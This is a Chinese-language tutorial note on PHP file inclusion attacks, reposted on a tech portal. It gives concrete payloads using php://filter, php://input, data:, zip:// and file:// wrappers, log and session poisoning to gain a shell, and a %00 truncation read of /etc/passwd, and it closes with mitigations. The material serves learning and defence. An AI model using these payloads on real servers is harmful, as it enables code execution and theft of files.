IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [文件包含2] -> 正文阅读

[PHP知识库][文件包含2]

php://filter?

利用条件:
只是读取,所以只需要开启allow_url_fopen,对于allow_url_include不做要求
实现效果:
将文件中得数据进行base64加密之后再输出
用法:
index.php?file(这里的file是传参)=php://fileter/read=convert.base64-encode/resource=xx.php

php://input

利用条件:
需要开启allow_url_include=on,对allow_url_fopen不做要求
用法:
burp抓包,把GET请求修改为POST请求(右键数据包Change request method)
index.php?file(这里的file是传参)=php://input
再在数据包最下面空白处接上要执行的代码例如<?php phpinfo(); ?>
原理:
当在页面中输入php://input此时需要读的就是在POST包中的请求体

(以上两种都是文件包含,第二种已经可以直接进行代码执行)


data:text/plain

条件:
allow_url_include,allow_url_fopen参数都需要开启
用法一:?file(这里的file是传参)=data:text/plain<?php+执行内容?>
用法一在burp中使用的时候空格要使用+号,因为空格相当于是截断这个http协议

用法二:?file(这里的file是传参)=data:text/plain;base64,编码后的php代码
注意base64加密后的代码,不能有+号,否则会和url种的+编码冲突
(这里比如在base64编码<?php phpinfo();?>后出现的编码内带有+号,可以在可以加空格的地方加空格加到没有+号的存在,{比如phpinfo();和?之间加空格},再在burp中加入编码后的php代码发包 || 或者是在burp中直接将base64编码后的+经过url编码换成%2b)

zip://伪协议

条件:
使用zip协议,需要将#编码为%23,所以需要PHP的版本>=5.3.0,要是因为版本的问题无法将#编码成%23,可以手动把#改成%23
用法:
?file(这里的file是传参)=zip://压缩文件路径+压缩文件名#压缩文件内的子文件名
file(这里的file是传参)=zip://./1.zip%231.txt
file(这里的file是传参)=zip://C:\phpstudy\WWW\haha\1.zip%231.txt
既可以用绝对路径,也可以用相对路径(上面第一条./是执行文件,但是我测试不加好像也可以)
另外:上面zip://后不一定要zip格式,把zip改成jpg使用同样的方法(文件后缀也要改)
思路:如果使用黑名单/白名单,可以通过找到文件包含的点尝试这种方式

修改后缀使用同样可以?

file://伪协议

file://可以用来访问本地文件系统,而且不受allow_url_fopen与allow_url_include的影响

用法:?file(这里的file是传参)=file://文件绝对路径

通过文件包含Getshell

1.首先找到日志文件存放位置

2.让日志文件插入PHP代码

3.包含日志文件

使用条件:

?httpd.conf文件注释CustomLog"logs/access.log" common

我们登录网页时会产生日志文件,下面以phpstudy_pro为例

向日志中写入<?php phpinfo();?> 后的效果

那么我们如何把phpinfo写入日志中,我们可以通过burp把?<?php phpinfo();?>写入日志文件中

这里又出现一个有意思的事情,这里成功写入日志,但是之前我们记得直接写空格会被截断。

这里的区别是,之前写的空格是交给服务器,服务器认为这里是协议需要截断,而这里写入是直接写入日志中,因此可以成功(大概是这个意思)

上面方法优点:不需要找到文件上传的点

缺点:需要找到日志文件存储路径

Session包含

利用条件:

session的存储位置可以获取。

1.通过phpinfo的信息可以获取到session的存储位置

过程:

创建一个session.php文件,写入:

<?php

session_start();

$_SESSION['a'] = 'haha.cn';

?>

尝试访问,抓包分析

img

那么PHPSESSID=cmh5itdmglieocec6l5nrmfu86,PHPSESSID后面这段内容是什么东西呢

img

实际上是一个临时文件,内容如下:

img

那么如果session可控,我们可以将php代码写入到session中

假如修改session.php代码

<?php

session_start();

$SESSION['a'] = $GET['input'];

?>

那么session的值会随着get请求的值发生变化

尝试在修改后的session中写入phpinfo

img

接下来不能直接访问sess_cmh5itdmglieocec6l5nrmfu86,找到之前文件包含的点

存在文件包含的文件为2.php

代码如下:

<?php if (isset($GET['page'])){ include $GET['page']; }else{ include "home.php"; } ?>

用之前的伪协议(因为sess_cmh5itdmglieocec6l5nrmfu86不能直接访问)

可以成功

img

session文件包含总结:

1.知道session存储位置

2.有一个可控的session参数位置

3.有一个文件包含的点

%00截断

文件上传中有%00截断,文件包含也有

/etc/passwd%00

需要magic_quotes_gpc=off(在php.ini中)

PHP小于5.3.4有效

复习

文件包含定义:

如果说使用文件包含的路径是攻击者可控的话,此时我们可以通过控制参数变量从而能包含本不在开发者意愿之内的文件,从而能包含本不在开发者意愿之内的文件

文件包含相关的函数:

include? ? ? ? include_once? ? ? ? reqquire? ? ? ? require_once

incluede和require的区别?

include当发现文件无法包含或者是不存在该文件时,会抛出错误但是可以继续执行下面的代码

require当发现文件无法包含或者是不存在该文件时,此时会抛出致命错误,从而后面代码无法执行

分类的话??

本地文件包含:包含服务器端的文件

远程文件包含:包含远程url的文件

? ? ? ? 远程文件包含需要开启allow_url_fopen、allow_url_include

?文件包含的利用:

1.配合文件上传漏洞进行getshell

2.包含日志getshell

3.包含session? getshell

4.读取配置文件

? ? ? ? php://filter输出的内容会以base64编码的形式输出

? ? ? ? php://input把请求包中的请求内容部分全部执行

? ? ? ? data:text/plain,<?php 代码?>

? ? ? ? data:text/plain;base64,base64编码后的代码

? ? ? ? zip协议 php>=5.3.0

? ? ? ? zip://路径(绝对和相对都可以)%23文件名

? ? ? ? file协议

? ? ? ? file://绝对路径? ? ? 多个/也可以

????????

文件包含修复办法

PHP中使用open_basedir配置限制访问在指定的区域

过滤.(点)/(反斜杠)\(反 斜杠)? ../../../

禁止服务器远程文件包含(allow_url_fopen,allow_url_include,off)

包含的参数值不要用户可控

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-06 12:42:42  更:2022-03-06 12:43:22 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 16:20:54-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计